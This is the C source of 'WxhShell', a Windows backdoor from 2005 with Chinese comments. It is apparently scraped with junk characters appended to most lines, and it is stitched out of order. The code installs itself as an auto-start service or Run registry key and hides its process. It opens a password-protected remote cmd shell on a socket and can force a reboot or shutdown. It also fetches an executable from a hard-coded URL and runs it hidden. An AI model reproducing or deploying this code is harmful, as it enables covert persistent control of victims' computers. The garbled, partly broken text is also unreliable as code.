    if(Boot(SHUTDOWN)) ,e}mR>i=e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !~6'@UYo  
    else { ZE5-i@1  
    closesocket(wsh); 1^n5CI|7u  
    ExitThread(0); V2WUM+`uT  
    } SQz$kIZR  
    break; ~ex~(AWh  
    } w*|=k~z  
  // 获取shell (ouRf;\6$8  
  case 's': { Om&{4a\  
    CmdShell(wsh); d;@E~~o?B]  
    closesocket(wsh); f(w#LuW<  
    ExitThread(0); "<g?x`iz  
    break; 7]<F>97  
  } s!nSE  
  // 退出 mR!&.R?  
  case 'x': { iA1;k*) q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mmpr]cT@'k  
    CloseIt(wsh); "(HA9:  
    break; v e6N  
    } ebl)6C  
  // 离开 URmAI8fq*M  
  case 'q': { C7XS6Nqu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [~Z'xY y  
    closesocket(wsh); #w%a m`+  
    WSACleanup(); zx_O"0{5  
    exit(1); _k"&EW{ Ii  
    break; <MWXew7b  
        } Mo?t[]L   
  } E9Qd>o  
  } TCEXa?,L  
:!Y?j{sGU  
  // 提示信息 ~_# Y,)S!z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kL2Zr  
} yccuTQvz  
  } } K hq  
U||w6:W5  
  return; 'o#J>a~!9L  
} GP7) m  
Ndug9j\2  
// shell模块句柄 ^! v}  
int CmdShell(SOCKET sock) iz%A0Z+`bg  
{ "JQt#[9l  
STARTUPINFO si; w$U/;C  
ZeroMemory(&si,sizeof(si)); 4, *^QK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n.)[MC}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j~,LoGuPh  
PROCESS_INFORMATION ProcessInfo; 8#d1}Y  
char cmdline[]="cmd"; C^\*|=*\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 33,JUQ2u  
  return 0; 057G;u/  
} Kn!0S<ssR  
5w [=  
// 自身启动模式 ah!O&ECh  
int StartFromService(void) [K4+G]6  
{ wMPw/a;  
typedef struct +GPT:\*q6  
{ fO|~Oz<S  
  DWORD ExitStatus; Y +_5"LV  
  DWORD PebBaseAddress; :?:j$ =nWN  
  DWORD AffinityMask; uZiY<(X  
  DWORD BasePriority; vX0I^ 8.  
  ULONG UniqueProcessId; J PzQBc5e  
  ULONG InheritedFromUniqueProcessId; x 1xj\O  
}   PROCESS_BASIC_INFORMATION; gHh.|PysW  
vo( j@+dz  
PROCNTQSIP NtQueryInformationProcess; ID)gq_k[8,  
u0 oYb_Yv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^tKOxW# a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `j!2uRFe>  
FG5c:Ep  
  HANDLE             hProcess; D "] [&m  
  PROCESS_BASIC_INFORMATION pbi; sc $QbOc  
|gRgQGeB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X-N$+[#  
  if(NULL == hInst ) return 0; hte9l)  
_hyxKrm' 6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^B!?;\4IM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lKhh=Pc2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i(f;'fb*  
7+!7]'V  
  if (!NtQueryInformationProcess) return 0; cJWfLD>2_!  
:%b2;&A[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]z q_gV8k  
  if(!hProcess) return 0; L|1zHDxQ  
Qhr]eu;z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kdMS"iN8x  
C.B}Py+   
  CloseHandle(hProcess); 4d._Hd='  
Is6']bYh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6p=xgk-q  
if(hProcess==NULL) return 0; $E,DxDT  
%FWfiFV|<  
HMODULE hMod; .yfqS|(  
char procName[255]; '/Cz{<,  
unsigned long cbNeeded; rUpAiZfz >  
k q.h\[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q.2nUT`  
OUk5c$M(  
  CloseHandle(hProcess); c)!s[oL  
pL/.JzB  
if(strstr(procName,"services")) return 1; // 以服务启动 $~@096`QL<  
ApJf4D<V  
  return 0; // 注册表启动 {i}Q}OgYq  
} XhD fI &  
8U:dgXz  
// 主模块 RowiSW  
int StartWxhshell(LPSTR lpCmdLine) ^t ldm7{_  
{ RrpF i'R  
  SOCKET wsl; R|$`MX}'z  
BOOL val=TRUE; u&_U CJCf  
  int port=0; EM w(%}8w  
  struct sockaddr_in door; *#^1rKGWK  
5 ^z ,'C  
  if(wscfg.ws_autoins) Install(); *=9#tYn~  
b-zX3R;  
port=atoi(lpCmdLine); :QL p`s  
dsZ ( D:)  
if(port<=0) port=wscfg.ws_port; FY S83uq0  
9Zsb1 M!n>  
  WSADATA data; xy3%z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +vSE}  
|B$\3,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @CI6$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T`ZJ=gv  
  door.sin_family = AF_INET; }Y ];ccT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LhRe?U\  
  door.sin_port = htons(port); P}QbxkS 8  
K/+C6Y?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $[CA#AXE  
closesocket(wsl); Hll}8d6[  
return 1; j$oZIV7  
} \o)4m[oF  
NB +O;  
  if(listen(wsl,2) == INVALID_SOCKET) { swL|Ff`$  
closesocket(wsl); z35Rjhj9  
return 1; Z?' |9FM  
}  PuCA @qY  
  Wxhshell(wsl); Z`c{LYP,y"  
  WSACleanup(); <XrGr5=BV  
S5a<L_  
return 0; 7zZ|=W?&{  
E2kRt'~N  
} g"? D>}@=  
S Tk#hhx  
// 以NT服务方式启动 A'(F%0NF6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1u+ (rVQN  
{ [V0h9!  
DWORD   status = 0; P[8N58#  
  DWORD   specificError = 0xfffffff; Qo *]l_UO;  
K({,]<l5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7"i*J6y*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (k&aD2PH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KZfRiCZ  
  serviceStatus.dwWin32ExitCode     = 0; S6tH!Z=(g  
  serviceStatus.dwServiceSpecificExitCode = 0; Mu%,@?zM^/  
  serviceStatus.dwCheckPoint       = 0; L(8dK  
  serviceStatus.dwWaitHint       = 0; TJ:Lz]l >  
s9Z2EjQV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _/ZY&5N  
  if (hServiceStatusHandle==0) return; $u"$mg7x  
r'\TS U5!  
status = GetLastError(); !;Nh7vG  
  if (status!=NO_ERROR) ? d\8Q't*  
{ ^T,cXpx|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B{ "<\g  
    serviceStatus.dwCheckPoint       = 0; nB& 8=.  
    serviceStatus.dwWaitHint       = 0; rSn7(3e4^  
    serviceStatus.dwWin32ExitCode     = status; ?s33x#  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q4q#/z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5K{h)* *5  
    return; lej{VcG  
  } 1PSb72h<  
sc60:IxgI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n\Ixv  
  serviceStatus.dwCheckPoint       = 0; Z- (HDn  
  serviceStatus.dwWaitHint       = 0; 063;D+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !d(V7`8  
} Q>$L;1E*,  
dZmq  
// 处理NT服务事件,比如:启动、停止 X2v'9 x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >k|[U[@  
{ z, [ +  
switch(fdwControl) T`sM4 VWqU  
{ BYU.ptiJJ  
case SERVICE_CONTROL_STOP: |=s3a5sl  
  serviceStatus.dwWin32ExitCode = 0; MzD0F#Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "#jKk6{I0  
  serviceStatus.dwCheckPoint   = 0; K<GCP2  
  serviceStatus.dwWaitHint     = 0; n} {cs  
  { bAp`lmFI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <lR8MqjM_  
  } ty>O}9%  
  return; )A%Y wI$  
case SERVICE_CONTROL_PAUSE: qv\yQ&pj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s8Oz^5p(  
  break; Xl;N= fc  
case SERVICE_CONTROL_CONTINUE: Ek3O{<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hM}2++V  
  break; vaL-Mi(_  
case SERVICE_CONTROL_INTERROGATE: odDt.gQXU  
  break; pjFgIG2=9  
}; rtm28|0H'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D$HxPfDZ  
} 8@-US , |  
xX ZN<<f59  
// 标准应用程序主函数 P6Ei!t,>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0W> ",2|z  
{ 'mF}+v^   
t&_lpffv  
// 获取操作系统版本 U*cj'`eqC  
OsIsNt=GetOsVer(); o=ex{g(3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h.nzkp5  
M:x(_Lu  
  // 从命令行安装 pN[i%\vh  
  if(strpbrk(lpCmdLine,"iI")) Install(); M4| L  
*"@P2F&  
  // 下载执行文件 NQmDm!-4  
if(wscfg.ws_downexe) { Gx m"HC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \;}dS SB1  
  WinExec(wscfg.ws_filenam,SW_HIDE); m`Z4#_s2  
} xQQ6D  
lI9 3{!+>  
if(!OsIsNt) { ;I>`!|mT  
// 如果时win9x,隐藏进程并且设置为注册表启动 Liofv4![  
HideProc(); E%TvGe;#  
StartWxhshell(lpCmdLine); VuGSP]$q  
} %llG/]q#  
else |c) #zSv  
  if(StartFromService()) )jg3`I@  
  // 以服务方式启动 3iB8QO;pp  
  StartServiceCtrlDispatcher(DispatchTable); 95}"AIi  
else piU4%EO  
  // 普通方式启动 !T}`h'  
  StartWxhshell(lpCmdLine); R0Qp*&AL  
I8m(p+Z=  
return 0; q+<TD#xoL  
} YV+e];s  
*N7\d9y  
DGcd|>q  
{+!_; zzZ  
=========================================== OnG?@sW+4!  
s:%>H|-  
*fE5Z;!}  
}G]]0Oi2  
Q,>AT$|  
Gb"PMai  
" 7JbN WN  
17-K~ybc  
#include <stdio.h> 3 Tt8#B  
#include <string.h> t ,0~5>5  
#include <windows.h> >d =k-d  
#include <winsock2.h> ;(z0r_p<q  
#include <winsvc.h> @rE>D  
#include <urlmon.h> ,$*$w<  
'INdZ8j_  
#pragma comment (lib, "Ws2_32.lib") G*ecM`Bl  
#pragma comment (lib, "urlmon.lib") T7[ItLZ  
%#= 1?1s  
#define MAX_USER   100 // 最大客户端连接数 .2`S07Z  
#define BUF_SOCK   200 // sock buffer Rt+s\MC^r  
#define KEY_BUFF   255 // 输入 buffer d35,[  
F*QGzbv)  
#define REBOOT     0   // 重启 }nkX-PG9  
#define SHUTDOWN   1   // 关机 ^X^4R1V)  
.Ir5gz  
#define DEF_PORT   5000 // 监听端口 Uc.K6%iI  
f"z96{zo  
#define REG_LEN     16   // 注册表键长度 Z O&5C6qa  
#define SVC_LEN     80   // NT服务名长度 9%|!+!j  
1%H]2@  
// 从dll定义API fF ;-d2mF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8dP^zjPj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W@ #Y/L:${  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $P>ci4]t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?,]25q   
(Ori].{C.J  
// wxhshell配置信息 /.P*%'g  
struct WSCFG { p;g$D=2  
  int ws_port;         // 监听端口 _L9`bzZj  
  char ws_passstr[REG_LEN]; // 口令 |*Hw6m  
  int ws_autoins;       // 安装标记, 1=yes 0=no t=5 K#SX}  
  char ws_regname[REG_LEN]; // 注册表键名 >osY?9  
  char ws_svcname[REG_LEN]; // 服务名 ,'[0tl}8K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \It8+^d@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o@vo,JU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +g%kr~w=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ml\A)8O]j/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LNtBYdB`pK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BZe x  
p1q"[)WVn^  
}; >k5nU^|B1  
a?_N8|k[  
// default Wxhshell configuration ]:d`=V\&N  
struct WSCFG wscfg={DEF_PORT, ^ 14U]<  
    "xuhuanlingzhe", ,,OO2EgZ`  
    1, 82{Lx7pI  
    "Wxhshell", gh#9<  
    "Wxhshell", -)PQ&[  
            "WxhShell Service", 1ve %xF  
    "Wrsky Windows CmdShell Service", f.4r'^  
    "Please Input Your Password: ", S{&,I2aO  
  1, vWc=^tT   
  "http://www.wrsky.com/wxhshell.exe", *F[@lY\p  
  "Wxhshell.exe" |wZcVct~  
    }; ?#da4W  
&Ba` 3V\M  
// 消息定义模块 jhl9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V4PI~"4q#1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Yi1lvB?m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O`<id+rx  
char *msg_ws_ext="\n\rExit."; tNj-~r  
char *msg_ws_end="\n\rQuit."; MOi.bHCQJP  
char *msg_ws_boot="\n\rReboot..."; fMgB!y"Em  
char *msg_ws_poff="\n\rShutdown..."; 5)bf$?d   
char *msg_ws_down="\n\rSave to "; &@NTedg!  
0]p! Bscaf  
char *msg_ws_err="\n\rErr!"; [uqe|< :  
char *msg_ws_ok="\n\rOK!"; {}RE;5n\['  
q$x$ 4  
char ExeFile[MAX_PATH]; bis}zv^%v  
int nUser = 0; [$:M/5y9  
HANDLE handles[MAX_USER]; dY[ XNP  
int OsIsNt; Oh)s"f\N  
Q$u&/g3NvL  
SERVICE_STATUS       serviceStatus; 1$mxMXNsJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $=3&qg"!  
5G  @  
// 函数声明 4IfOvAN%  
int Install(void); Av6=q=D  
int Uninstall(void); trlZ^K  
int DownloadFile(char *sURL, SOCKET wsh); ts|dk%  
int Boot(int flag); 4 JC*c  
void HideProc(void); ,t?c=u\5  
int GetOsVer(void); {<$ D|<S  
int Wxhshell(SOCKET wsl); mXAGa8##j  
void TalkWithClient(void *cs); gJ;jh7e@  
int CmdShell(SOCKET sock); ]:H((rk  
int StartFromService(void); _:"PBN9  
int StartWxhshell(LPSTR lpCmdLine); T .#cd1b  
S\wh *'Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FVY$A =G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N!me:|Dn  
vl}fC@%WRI  
// 数据结构和表定义 (h&XtFul}  
SERVICE_TABLE_ENTRY DispatchTable[] = cl2+,!:  
{ ct o+W}k  
{wscfg.ws_svcname, NTServiceMain}, 10.u  
{NULL, NULL} itotn!Wb`  
}; -!_\4  
cl\Gh  
// 自我安装 ,^Ug[pGG-  
int Install(void) Lvco9 Ak  
{ \Dn47V{7-  
  char svExeFile[MAX_PATH]; WxE^S ??|  
  HKEY key; MZPXI{G  
  strcpy(svExeFile,ExeFile); &>%R)?SZh  
g<b(q|  
// 如果是win9x系统,修改注册表设为自启动 {Tr5M o  
if(!OsIsNt) { *;N6S~_'Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >{ /As][  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k 'CM^,F&  
  RegCloseKey(key); uDe%M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JyiP3whW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |M;tAG$,"y  
  RegCloseKey(key); n8K FP  
  return 0; ?v5OUmFM  
    } hwD;1n  
  } pwIu;:O!?  
} Sh@en\m=#S  
else { &7 0o4~Fr  
'!V5 #J  
// 如果是NT以上系统,安装为系统服务 a ](Jc)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +KcD Y1[  
if (schSCManager!=0) (9!/bX<  
{ Q:v9C ^7  
  SC_HANDLE schService = CreateService  <u=k X  
  ( g %ZKn  
  schSCManager, u*h+ c8|zI  
  wscfg.ws_svcname, kO)+%'L!8  
  wscfg.ws_svcdisp, |Q|vCWel{  
  SERVICE_ALL_ACCESS, ",O}{z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4tGP- L  
  SERVICE_AUTO_START, U %,K8u|WH  
  SERVICE_ERROR_NORMAL, H?H(=  
  svExeFile, <T^:`p/]4  
  NULL, RJ63"F $  
  NULL, Fv!KLw@  
  NULL, @lO(QpdG  
  NULL, `@tn Eg  
  NULL {y\5 9  
  );  MYk%p'  
  if (schService!=0) Q($.s=&l;  
  { `A0trC3  
  CloseServiceHandle(schService); v:xfGA nP  
  CloseServiceHandle(schSCManager); aP`[O]8j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Jx-dWfe  
  strcat(svExeFile,wscfg.ws_svcname); A}h`%b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4Y x\U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lk[BS*  
  RegCloseKey(key); >cdxe3I\  
  return 0; '*d);{D8  
    } m|8ljXX  
  }  W]aX}>0  
  CloseServiceHandle(schSCManager); [W*xPXr*  
} lDU@Q(V#}<  
} 2cu?2_,  
=)O%5<Lwx  
return 1; Jmcf9g  
} H%&e[PU  
M~SbIk<#a<  
// 自我卸载 pIbm)-  
int Uninstall(void) v "Yo  
{ [(d))(M$|  
  HKEY key; a*T=;P3(I  
6 h%%?  
if(!OsIsNt) { ]A]EED.ZH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^:Hx.  
  RegDeleteValue(key,wscfg.ws_regname); a}#8n^2  
  RegCloseKey(key); %@Ow.7zh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iQ7S*s+l5O  
  RegDeleteValue(key,wscfg.ws_regname); !h[xeLlU  
  RegCloseKey(key); tpQ?E<O  
  return 0; Oh]RIWL  
  } KN\*|)  
} tUXly|k  
} BnwYyh  
else { lBN1OL[N  
M&q3xo"w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Rg,]d u u?  
if (schSCManager!=0) y2=`NG=  
{ 67]kT%0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NB@TyU  
  if (schService!=0)  A&8{0  
  { {%! >0@7  
  if(DeleteService(schService)!=0) { t7; ^rk*  
  CloseServiceHandle(schService); }r _d{nhi  
  CloseServiceHandle(schSCManager); A-GU:B  
  return 0; ~REP@!\r^  
  } D$&LCW#x  
  CloseServiceHandle(schService); QH]G>+LI5  
  } -]$=.0 l  
  CloseServiceHandle(schSCManager); m_;<7W&p]  
} :3h'Hr  
} T x 6\  
Ee0}Xv  
return 1; V#-\ 4`c  
} PrwMR_-  
7!kbe2/]'  
// 从指定url下载文件 ~V`F5B  
int DownloadFile(char *sURL, SOCKET wsh) }(-2a*Z;Y  
{ u ^}R]:n  
  HRESULT hr; Hi5}s  
char seps[]= "/"; bayDdR4T  
char *token; z!> H^v  
char *file; 16Gp nb  
char myURL[MAX_PATH]; Y [ p  
char myFILE[MAX_PATH]; q?TI(J+/  
?$Tp|<tx#  
strcpy(myURL,sURL); p+7ZGB  
  token=strtok(myURL,seps); H7&bUt/  
  while(token!=NULL) O\=c&n~`  
  { /GUbc   
    file=token; 9 %MHIY5  
  token=strtok(NULL,seps); ]Ac&h aAP  
  } >?yxig:_  
@Z{!T)#}j  
GetCurrentDirectory(MAX_PATH,myFILE); %*Aq%,.={  
strcat(myFILE, "\\"); S(MVL!Lm  
strcat(myFILE, file); ![}q9aeT  
  send(wsh,myFILE,strlen(myFILE),0); i<>zN^zn  
send(wsh,"...",3,0); KDUa0$"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Sru}0M#M  
  if(hr==S_OK) [L4s.l_#  
return 0; g2t'u4>  
else R[Y{pT,AY  
return 1; ` fm^#Nw  
_A5.  
} v==]v2 -  
8&2W^f5  
// 系统电源模块 F `cuV  
int Boot(int flag) XZ1oV?Z4  
{ pipO ,n  
  HANDLE hToken; RV{'[8gM   
  TOKEN_PRIVILEGES tkp; `:y {  
6'YsSde".  
  if(OsIsNt) { yWkg4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Wd78 bu|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c u:1|gt  
    tkp.PrivilegeCount = 1; 0g&#hW};[6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .*_uXQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fO'"UI  
if(flag==REBOOT) { #eKg!]4-R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hJsYKd8g  
  return 0; }_vUsjK  
} gdKn!; ,w#  
else { LH_rc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3|qT.QR`Z  
  return 0; {!G  
} -YD+x PD  
  } [(65^Zl`  
  else { {P[>B}'rW  
if(flag==REBOOT) { )CAEqP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -Nn@c|fz  
  return 0; KDQqN]rg  
} b IZuZF>*  
else { g(`m#&P>G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P g{/tM Y  
  return 0; pY T^Ug  
} T|fmO<e*n  
} %40uw3  
%n7Y5|Uh  
return 1; S.Rqu+  
} B<}0r 4T}  
oI2YJ2?Je8  
// win9x进程隐藏模块 t<%S_J\  
void HideProc(void) fVJsVZ"6v`  
{ Cvk n2T  
Q+ tUxa+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fP :26pK^  
  if ( hKernel != NULL ) dd=' ;%?  
  { FK~FC:K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uOU?-WtPz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7=e!k-G  
    FreeLibrary(hKernel); wAn}ic".b  
  } H)u<$y!8  
Uw:gJ 9  
return; XC NM  
} nS`DI92I  
+2WvGRC  
// 获取操作系统版本 Ivdg1X  
int GetOsVer(void) ?oKY"C8/  
{ PX%Y$`  
  OSVERSIONINFO winfo; 6L\?+=X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); COC6H'F  
  GetVersionEx(&winfo); p=-:Z?EW1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2S`D7R#6s  
  return 1; h4\j=Np  
  else M1sR+e$"  
  return 0; f-M9OI  
} ejID5NqG  
U:[#n5g  
// 客户端句柄模块 Ie14`'  
int Wxhshell(SOCKET wsl) e,0y+~  
{ /'S@iq  
  SOCKET wsh; eC71;"  
  struct sockaddr_in client; +d=cI  
  DWORD myID; <+%#xi/_  
! 4ZszQg  
  while(nUser<MAX_USER) 6,D)o/_  
{ !VF.=\iH/  
  int nSize=sizeof(client); .S{Q }S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AzwG_XgM)  
  if(wsh==INVALID_SOCKET) return 1; G{8>  
SW^/\cJ^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y_mD9bgW  
if(handles[nUser]==0) "AAzBWd/  
  closesocket(wsh); N=`xoF  
else D02_ Jrg  
  nUser++; Gxj3/&]^Y  
  } ?uq7K"B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B< `'h  
aeP 6JHj  
  return 0; h)vRvfcmY  
} H /kSFf{  
]I|3v]6qR  
// 关闭 socket 6jGPmOM/  
void CloseIt(SOCKET wsh) cnrS.s=  
{ n<. T6  
closesocket(wsh); b)5z'zQu  
nUser--; JMnk~8O  
ExitThread(0); mM&*_#( 6  
} yLo{^4a.  
.7!n%Ks  
// 客户端请求句柄 le*1L8n$'  
void TalkWithClient(void *cs) gx*rxid  
{ FzDZ<dJ  
]Gm $0uS  
  SOCKET wsh=(SOCKET)cs; r dc} e"v  
  char pwd[SVC_LEN]; *TjolE~o  
  char cmd[KEY_BUFF]; 1b6o x6  
char chr[1]; S;582H9D  
int i,j; |Bv?! sjf  
Or0eY#c  
  while (nUser < MAX_USER) { kg>Ymo.  
D~;hIt*  
if(wscfg.ws_passstr) { 1lxsj{>U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3E!#?N|v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A1zqm_X5)P  
  //ZeroMemory(pwd,KEY_BUFF); rt7Ma2tK  
      i=0; ,@_$acm  
  while(i<SVC_LEN) { Al^n&Aa+\  
j4au Zl]NF  
  // 设置超时 {|}tp<:2  
  fd_set FdRead; x,s Ma*vd  
  struct timeval TimeOut; [w%MECTe  
  FD_ZERO(&FdRead); @$5GxIw<l  
  FD_SET(wsh,&FdRead); Q9lw~"  
  TimeOut.tv_sec=8; 0L34)W  
  TimeOut.tv_usec=0; Y4%Bx8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); idm!6]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?UXKy  
%SRUHx[D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O1@-)<_71  
  pwd=chr[0]; 'L*nC T;  
  if(chr[0]==0xd || chr[0]==0xa) { &S}i)Nu6J  
  pwd=0; "t<$ {  
  break; f6 zT  
  } }lzyl*.  
  i++; f`5e0;zm  
    }  +X i#y}%  
SR 9 Cl  
  // 如果是非法用户,关闭 socket Bi"7FF(z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G>?hojvi  
} tHSe>*eC  
8&6h()  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pV:c`1\`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mPNT*pAO  
|-N\?N9"  
while(1) { oYNP,8r^  
'`q&UPg]  
  ZeroMemory(cmd,KEY_BUFF); eRC /Pr  
~X^L3=!vf  
      // 自动支持客户端 telnet标准   x+zz:^yHYf  
  j=0; ^CUeq"GYoZ  
  while(j<KEY_BUFF) { j2T Z`Z?a^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]HP aM  
  cmd[j]=chr[0]; 1F*gPhm  
  if(chr[0]==0xa || chr[0]==0xd) { + #gJ[Cc  
  cmd[j]=0;   5;+OpB  
  break; a3i4eGT-  
  } Cf`s:A5<J  
  j++; =6b^j]1  
    }  ?[Od.  
Hm|8ydNs  
  // 下载文件 'c 0]8Y 4  
  if(strstr(cmd,"http://")) { 'rJkxU{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xU#f>@v!  
  if(DownloadFile(cmd,wsh)) oD]tHuDa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3]BK*OqJ  
  else w-?_U7'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M]YK]VyG  
  } 53d8AJ_@X  
  else { q"OvuHBSOn  
^ZX71-  
